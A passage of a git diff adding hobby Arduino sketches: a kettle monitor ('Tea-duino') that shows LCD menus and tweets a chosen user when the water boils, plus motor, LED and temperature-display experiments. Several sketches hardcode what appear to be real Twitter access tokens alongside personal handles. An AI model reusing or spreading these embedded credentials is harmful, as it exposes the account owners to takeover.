== lengthMainMenu) + { + i = 0; + } + } + if (UD == 1022) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i]); + delay(800); + i--; + if (i == 0) + { + //i = lengthMainMenu; + i = 1; + } + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + //ERROR + //Invalid conversion from 'char*' to 'char' + //message[] = twitterHandles[i]; + waterBoiling = false; + boolTwitterHandles = false; + lcd.clear(); + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 0) + { + boolTwitterHandles = false; + boolMainMenu = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1, 1); + lcd.write(mainMenu[i + 1]); + } + } + + //Maybe (while(waterBoiling == true && buttonState == LOW)) + while(waterBoiling == true) + { + lcd.setCursor(9, 1); + lcd.write(animatorSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animatorSelector++; + delay(3000); + lcd.clear(); + + if(animatorSelector > 5) + { + animatorSelector = 2; + } + + buttonState = digitalRead(buttonPin); + if(buttonState == HIGH) + { + twitter.post(message); + waterBoiling = false; + buttonState = digitalRead(buttonPin); + } + } + + while(waterBoiling == false && buttonState == HIGH) + { + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(6 + j); + lcd.setCursor(10, 1); + lcd.write(1); + j++; + delay(1200); + if (j == 2) + { + j = 0; + } + buttonState = digitalRead(buttonPin); + if(buttonState == LOW) + { + boolMainMenu = true; + lcd.clear(); + } + } +} \ No newline at end of file diff --git a/Projects/Tea-duino Main/TeaAnimation/TeaAnimation.ino b/Projects/Tea-duino Main/TeaAnimation/TeaAnimation.ino new file mode 100755 index 0000000..f29d999 --- /dev/null +++ b/Projects/Tea-duino Main/TeaAnimation/TeaAnimation.ino @@ -0,0 +1,200 @@ +#include +#include +#include +#include + +// initialize the library with the numbers of the interface pins +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +byte CoffeeEmpty[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b10001, + 0b10001, + 0b10001, + 0b01110 +}; + +byte CoffeeHank[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b00000, + 0b11000, + 0b01000, + 0b11000, + 0b00000 +}; + +byte Coffee1[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b10001, + 0b10001, + 0b11111, + 0b01110 +}; + +byte Coffee2[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b10001, + 0b11111, + 0b11111, + 0b01110 +}; + +byte Coffee3[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b11111, + 0b11111, + 0b11111, + 0b01110 +}; + +byte CoffeeSmoke1[8] = { + 0b00101, + 0b01010, + 0b00101, + 0b11111, + 0b11111, + 0b11111, + 0b11111, + 0b01110 +}; + +byte CoffeeSmoke2[8] = { + 0b01010, + 0b00101, + 0b01010, + 0b11111, + 0b11111, + 0b11111, + 0b11111, + 0b01110 +}; + +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); +char msg[] = "@KevinMidboe @SindreIvers"; + +int buttonPin = 9; + +int animationSelector = 2; +int buttonState = 0; + +boolean waterDone = false; +boolean tweeted = false; + +void setup() +{ + Ethernet.begin(mac); + //Serial.begin(9600); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + buttonState = LOW; +} + +void loop() +{ + while (waterDone == false) + { + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(3000); + lcd.clear(); + + if (animationSelector > 5) + { + animationSelector = 2; + } + + buttonState = digitalRead(buttonPin); + if(buttonState == HIGH) + { + waterDone = true; + } + } + buttonState = digitalRead(buttonPin); + if (waterDone == true && buttonState == HIGH) + { + while(tweeted == false) + { + Serial.println("connecting ..."); + if (twitter.post(msg)) + { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) + { + Serial.println("OK."); + tweeted = true; + } + else + { + Serial.print("failed : code "); + Serial.println(status); + } + } + else + { + Serial.println("connection failed."); + } + } + } + while(buttonState == HIGH && tweeted == true) + { + delay(1000); + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1200); + + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1200); + + buttonState = digitalRead(buttonPin); + } + + if (buttonState == LOW && tweeted == true) + { + lcd.clear(); + lcd.write(">Choose User"); + lcd.setCursor(1, 1); + lcd.write("Add new User"); + delay(4000); + } +} + + + diff --git a/Projects/Tea-duino Main/Tea_duino/Tea_duino.ino b/Projects/Tea-duino Main/Tea_duino/Tea_duino.ino new file mode 100755 index 0000000..b629c8e --- /dev/null +++ b/Projects/Tea-duino Main/Tea_duino/Tea_duino.ino @@ -0,0 +1,284 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *mainMenu[] = {"Choose user", "Add new user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@OdinBN", "@Hozar132"}; +char *alphabet[] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", + "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", + "4", "5", "6", "7", "8", "9"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + + +//byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); +char message[] = "Didn't have anyone to send to... :("; + +const int buttonPin = 9; +int buttonState = 0; +int animatorSelector = 2; +int UD = 1; +int LR = 1; + +int i = 1; +int j = 0; +int k = 0; +int lengthMainMenu = 2; +int lengthTwitterHandles = 5; +int lengthAlphabet = 36; + +boolean boolMainMenu = true; +boolean boolTwitterHandles = false; +boolean waterBoiling = false; +int selected = 0; + + +void setup() +{ + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + + //Ethernet.begin(mac); + + lcd.write("Ready!"); + delay(1000); + lcd.clear(); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); +} + +void loop() +{ + while (boolMainMenu == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 0; + } + if (UD == 0) + { + i = 0; + lcd.clear(); + lcd.setCursor(1, 0); + lcd.write(mainMenu[i]); + lcd.setCursor(0, 1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 1; + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + if (selected == 0) + { + boolMainMenu = false; + boolTwitterHandles = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1, 1); + lcd.write(twitterHandles[i + 1]); + } + else + if (selected == 1) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + k++; + if (k == 37) + { + k = 0; + } + } + if (UD == 0) + { + k--; + if (k == -1) + { + k = 37; + } + } + + lcd.clear(); + lcd.write(alphabet[k]); + lcd.write(alphabet[k + 1]); + + /*for(int k = 0; k < lengthTwitterHandles; k++) + { + + }*/ + + if (LR == 0) + { + //Save the typed-inn name + //Add @ to the name + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + } + } + } + } + + while(boolTwitterHandles == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 0) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + i++; + if (i == lengthMainMenu) + { + i = 0; + } + } + if (UD == 1022) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i]); + delay(800); + i--; + if (i == 0) + { + //i = lengthMainMenu; + i = 1; + } + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + //ERROR + //Invalid conversion from 'char*' to 'char' + //message[] = twitterHandles[i]; + waterBoiling = false; + boolTwitterHandles = false; + lcd.clear(); + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 0) + { + boolTwitterHandles = false; + boolMainMenu = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1, 1); + lcd.write(mainMenu[i + 1]); + } + } + + //Maybe (while(waterBoiling == true && buttonState == LOW)) + while(waterBoiling == true) + { + lcd.setCursor(9, 1); + lcd.write(animatorSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animatorSelector++; + delay(3000); + lcd.clear(); + + if(animatorSelector > 5) + { + animatorSelector = 2; + } + + buttonState = digitalRead(buttonPin); + if(buttonState == HIGH) + { + twitter.post(message); + waterBoiling = false; + buttonState = digitalRead(buttonPin); + } + } + + while(waterBoiling == false && buttonState == HIGH) + { + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(6 + j); + lcd.setCursor(10, 1); + lcd.write(1); + j++; + delay(1200); + if (j == 2) + { + j = 0; + } + buttonState = digitalRead(buttonPin); + if(buttonState == LOW) + { + boolMainMenu = true; + lcd.clear(); + } + } +} diff --git a/Projects/Tea-duino Main/Tea_duino_2_0/Tea_duino_2_0.ino b/Projects/Tea-duino Main/Tea_duino_2_0/Tea_duino_2_0.ino new file mode 100755 index 0000000..deb1a78 --- /dev/null +++ b/Projects/Tea-duino Main/Tea_duino_2_0/Tea_duino_2_0.ino @@ -0,0 +1,315 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *menuTree[] = {"mainMenu", "Users", "Add user"}; +char *mainMenu[] = {"Choose user", "Add user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@Odinbn", "@Hozar132"}; +char *itsDone[] = {"Vannet er ferdig!", "TEATIME!", "my Man, the water is done!"}; + +char *errorWhereIsBoiler [] = {"Sett vannkokeren", "pa knappen."}; +char *startWaterMessage [] = {"Skru pa vannet!"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); +byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; + +const int buttonPin = 3; +int resetPin = 3; +int buttonState; +int UD = 1; +int LR = 1; + +boolean movedDown = false; +int upDownCount = 0; +int menuSelector = 0; +int mainMenuController = 0; +int animationSelector = 2; + +char* username; + +int lengthMainMenu = sizeof(mainMenu); +int lengthUserMenu = sizeof(twitterHandles); + +void setup() +{ + pinMode(resetPin, OUTPUT); + + lcd.begin(16,2); + Ethernet.begin(mac); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + pinMode(buttonPin, INPUT); + + upDownCount = writeMainMenu(movedDown, upDownCount); +} + +void loop() +{ + while (menuTree[menuSelector] == menuTree[0]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeMainMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeMainMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + menuSelector = 1; + upDownCount = 0; + upDownCount = writeUserMenu(movedDown, upDownCount); + delay(400); + } + } + while (menuTree[menuSelector] == menuTree[1]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeUserMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeUserMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + username = twitterHandles[upDownCount]; + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + lcd.clear(); + lcd.write(errorWhereIsBoiler[0]); + lcd.setCursor(0,1); + lcd.write(errorWhereIsBoiler[1]); + delay(2000); + upDownCount = writeUserMenu(movedDown, upDownCount); + } + else + { + checkWaterON(username); + } + } + if (LR == 1022) + { + menuSelector = 0; + upDownCount = 0; + upDownCount = writeMainMenu(movedDown, upDownCount); + } + } +} + +int writeMainMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(mainMenu[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + } + return i; +} + +int writeUserMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1,1); + lcd.write(twitterHandles[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(twitterHandles[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(twitterHandles[i + 1]); + } + return i; +} + +void checkWaterON(char* username) +{ + lcd.clear(); + lcd.write(startWaterMessage[0]); + delay(1500); + + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + waterOnAndTweet(username); + } + else + { + checkWaterON(username); + } +} + +void waterOnAndTweet(char* username) +{ + buttonState = analogRead(buttonPin); + while (buttonState != 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(animationSelector); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(1500); + if (animationSelector == 6) + { + animationSelector = 2; + } + waterOnAndTweet(username); + } + if (twitter.post(username)) + { + int status = twitter.wait(&lcd); + if (status == 200) + { + waitForPickup(); + } + else + if(status == 403) + { + lcd.clear(); + lcd.write("Duplicate tweet!"); + lcd.setCursor(0,1); + lcd.write(status); + delay(65000); + twitter.post(username); + + // int status = twitter.wait(&lcd); + // if(status == 200) + // { + // waitForPickup(); + // } + // else + // { + // waterOnAndTweet(username); + // } + } + } +} + +void waitForPickup() +{ + buttonState = analogRead(buttonPin); + while (buttonState == 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(6); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + + delay(1500); + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(7); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1500); + waitForPickup(); + } + while (buttonState != 0) + { + lcd.clear(); + lcd.write("RESET!"); + digitalWrite(resetPin, HIGH); + delay(3000); + } +} diff --git a/Projects/Tea-duino Main/Tea_duino_3_0/Tea_duino_3_0.ino b/Projects/Tea-duino Main/Tea_duino_3_0/Tea_duino_3_0.ino new file mode 100755 index 0000000..35c2fe7 --- /dev/null +++ b/Projects/Tea-duino Main/Tea_duino_3_0/Tea_duino_3_0.ino @@ -0,0 +1,354 @@ +#include +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *menuTree[] = {"mainMenu", "Users", "Add user"}; +char *mainMenu[] = {"Choose user", "Add user"}; + +char *twitterHandles[] = {"@KevinMidboe ", "@EchoEsq ", "@SindreIvers ", "@Hozar132 ", "@Odinbn "}; +char *donePhrases[] = {"Vannet er ferdig! ", "TEATIME ", "my man, the water is done! ", "Kom å hent meg! "}; + +char *errorWhereIsBoiler [] = {"Sett vannkokeren", "pa knappen."}; +char *startWaterMessage [] = {"Skru pa vannet!"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); +byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; + +const int buttonPin = 3; +const int resetPin = 3; +int buttonState; +int UD = 1; +int LR = 1; + +boolean movedDown = false; +int upDownCount = 0; +int menuSelector = 0; +int mainMenuController = 0; +int animationSelector = 2; + +char* username; + +char buf[100]; + +int lengthMainMenu = sizeof(mainMenu); +int lengthUserMenu = sizeof(twitterHandles); + +JoystickController controller; + +void setup() +{ + lcd.begin(16,2); + Ethernet.begin(mac); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + pinMode(buttonPin, INPUT); + + upDownCount = writeMainMenu(movedDown, upDownCount); +} + +void loop() +{ + while (menuTree[menuSelector] == menuTree[0]) + { + delay(200); + controller.update(); + int direct = controller.getDirection(); + switch (direct) + { + case JoystickController::DIRECTION_RIGHT: + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeMainMenu(movedDown, upDownCount); + break; + } + case JoystickController::DIRECTION_LEFT: + { + movedDown = true; + upDownCount = writeMainMenu(movedDown, upDownCount); + upDownCount++; + break; + } + case JoystickController::DIRECTION_DOWN: + { + menuSelector = 1; + upDownCount = 0; + upDownCount = writeUserMenu(movedDown, upDownCount); + delay(400); + break; + } + } + } + while (menuTree[menuSelector] == menuTree[1]) + { + delay(200); + controller.update(); + int direct = controller.getDirection(); + switch (direct) + { + case JoystickController::DIRECTION_RIGHT: + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeUserMenu(movedDown, upDownCount); + break; + } + case JoystickController::DIRECTION_LEFT: + { + movedDown = true; + upDownCount = writeUserMenu(movedDown, upDownCount); + upDownCount++; + break; + } + case JoystickController::DIRECTION_DOWN: + { + username = twitterHandles[upDownCount]; + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + lcd.clear(); + lcd.write(errorWhereIsBoiler[0]); + lcd.setCursor(0,1); + lcd.write(errorWhereIsBoiler[1]); + delay(2000); + upDownCount = writeUserMenu(movedDown, upDownCount); + } + else + { + checkWaterON(username); + } + } + case JoystickController::DIRECTION_UP : + { + menuSelector = 0; + upDownCount = 0; + upDownCount = writeMainMenu(movedDown, upDownCount); + break; + } + } + } +} + +int writeMainMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(mainMenu[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + } + return i; +} + +int writeUserMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1,1); + lcd.write(twitterHandles[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(twitterHandles[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(twitterHandles[i + 1]); + } + return i; +} + +void checkWaterON(char* username) +{ + lcd.clear(); + lcd.write(startWaterMessage[0]); + delay(1500); + + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + waterOn(username); + } + else + { + checkWaterON(username); + } +} + +void waterOn(char* username) +{ + buttonState = analogRead(buttonPin); + while (buttonState != 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(animationSelector); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(1500); + if (animationSelector == 6) + { + animationSelector = 2; + } + waterOn(username); + } + tweet(username); +} + + void tweet(char* username) +{ + String str(username); + randomSeed(analogRead(4)); + long i = random(4); + int j(i); + String str2(donePhrases[j]); + str += str2; + i = random(20); + int k(i); + str += k; + char charBuf[140]; + str.toCharArray(charBuf, 140); + twitter.post(charBuf); + /*if () + { + int status = twitter.wait(&lcd); + if(status == 403) + { + if (j == 0) + { + j++; + } + else + if (j == 4) + { + j--; + } + else + { + j++; + } + String str3(username); + String str4(donePhrases[j]); + str3 += str4; + char charBuf1[140]; + str3.toCharArray(charBuf1, 140); + twitter.post(charBuf1); + } + }*/ + + waitForPickup(); +} + +void waitForPickup() +{ + buttonState = analogRead(buttonPin); + while (buttonState == 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(6); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + + delay(1500); + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(7); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1500); + waitForPickup(); + } + if (buttonState != 0) + { + reset(); + } +} + +void reset() +{ + lcd.clear(); + lcd.write("RESET!"); + delay(3000); + pinMode(resetPin, OUTPUT); + digitalWrite(resetPin, HIGH); +} diff --git a/Projects/Temp Main/TEMP01/TEMP01.ino b/Projects/Temp Main/TEMP01/TEMP01.ino new file mode 100755 index 0000000..e6ea67c --- /dev/null +++ b/Projects/Temp Main/TEMP01/TEMP01.ino @@ -0,0 +1,56 @@ +/* + * created by Rui Santos, http://randomnerdtutorials.wordpress.com + * Control DC motor with Smartphone via bluetooth + * 2013 + */ +int motorPin1 = 3; // pin 2 on L293D IC +int motorPin2 = 4; // pin 7 on L293D IC +int enablePin = 5; // pin 1 on L293D IC +int state; +int flag=0; //makes sure that the serial only prints once the state + +void setup() { + // sets the pins as outputs: + pinMode(motorPin1, OUTPUT); + pinMode(motorPin2, OUTPUT); + pinMode(enablePin, OUTPUT); + // sets enablePin high so that motor can turn on: + digitalWrite(enablePin, HIGH); + // initialize serial communication at 9600 bits per second: + Serial.begin(9600); +} + +void loop() { + //if some date is sent, reads it and saves in state + if(Serial.available() > 0){ + state = Serial.read(); + flag=0; + } + // if the state is '0' the DC motor will turn off + if (state == '0') { + digitalWrite(motorPin1, LOW); // set pin 2 on L293D low + digitalWrite(motorPin2, LOW); // set pin 7 on L293D low + if(flag == 0){ + Serial.println("Motor: off"); + flag=1; + } + } + // if the state is '1' the motor will turn right + else if (state == '1') { + digitalWrite(motorPin1, LOW); // set pin 2 on L293D low + digitalWrite(motorPin2, HIGH); // set pin 7 on L293D high + if(flag == 0){ + Serial.println("Motor: right"); + flag=1; + } + } + // if the state is '2' the motor will turn left + else if (state == '2') { + digitalWrite(motorPin1, HIGH); // set pin 2 on L293D high + digitalWrite(motorPin2, LOW); // set pin 7 on L293D low + if(flag == 0){ + Serial.println("Motor: left"); + flag=1; + } + } +} diff --git a/Projects/Temp Main/TEMP02/TEMP02.ino b/Projects/Temp Main/TEMP02/TEMP02.ino new file mode 100755 index 0000000..0b361e1 --- /dev/null +++ b/Projects/Temp Main/TEMP02/TEMP02.ino @@ -0,0 +1,37 @@ +int latchPin = 12; +int clockPin = 11; +int dataPin = 13; +byte leds = 0; +int currentLED = 0; + +void setup() +{ + pinMode(latchPin, OUTPUT); + pinMode(dataPin, OUTPUT); + pinMode(clockPin, OUTPUT); + + leds = 0; +} + +void loop() +{ + leds = 0; + + if (currentLED == 7) + { + currentLED = 0; + } + else + { + currentLED++; + } + + bitSet(leds, currentLED); + + digitalWrite(latchPin, LOW); + delay(250); + shiftOut(dataPin, clockPin, LSBFIRST, leds); + digitalWrite(latchPin, HIGH); + + delay(250); +} diff --git a/Projects/Temp Main/Temp_All/Temp_All.ino b/Projects/Temp Main/Temp_All/Temp_All.ino new file mode 100755 index 0000000..eb1e632 --- /dev/null +++ b/Projects/Temp Main/Temp_All/Temp_All.ino @@ -0,0 +1,114 @@ + +int temperaturePin = 0; +const int buttonPin = 0; + +int secondDisplayState = HIGH; +const boolean ON = HIGH; +const boolean OFF = LOW; +int buttonState, Avrund; + +int firstDisplay[] = {10, 9, 8, 7, 6, 5, 4}; + +int data = 11; +int latch = 12; +int clock = 13; + +byte firstNumber[10][7] = { +{ON, ON, ON, OFF, ON, ON, ON}, // 0 +{ON, OFF, OFF, OFF, OFF, OFF, ON}, // 1 +{OFF, ON, ON, ON, OFF, ON, ON}, // 2 +{ON, ON, OFF, ON, OFF, ON, ON}, // 3 +{ON, OFF, OFF, ON, ON, OFF, ON}, // 4 +{ON, ON, OFF, ON, ON, ON, OFF}, // 5 +{ON, ON, ON, ON, ON, ON, OFF}, // 6 +{ON, OFF, OFF, OFF, OFF, ON, ON}, // 7 +{ON, ON, ON, ON, ON, ON, ON}, // 8 +{ON, ON, OFF, ON, ON, ON, ON}}; // 9 + +byte secondNumber[5][7] = { +{OFF, ON, ON, ON, ON, ON, ON}, // 0 +{OFF, OFF, OFF, ON, OFF, OFF, ON}, // 1 +{ON, ON, ON, OFF, OFF, ON, ON}, // 2 +{ON, ON, OFF, ON, OFF, ON, ON}, // 3 +{ON, OFF, OFF, ON, ON, OFF, ON}}; // 4 +void setup() +{ + pinMode(buttonPin, INPUT); + + Serial.begin(9600); + + for (int i = 0; i < 7; i++) + { + pinMode(firstDisplay[i], OUTPUT); + } + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); +} +void loop() +{ + Avrund = 0; + buttonState = digitalRead(buttonPin); + if (buttonState == LOW) + { + float temperature = getVoltage(temperaturePin); + temperature = (temperature - .5) * 100; + + Serial.print(temperature); + Serial.println(" Celsius"); + + temperature = temperature * 10; + int intConvertedTemp = (int) temperature; + String stringConvertedTemp = (String) intConvertedTemp; + + for (int i = 0; i < 10; i++) + { + if 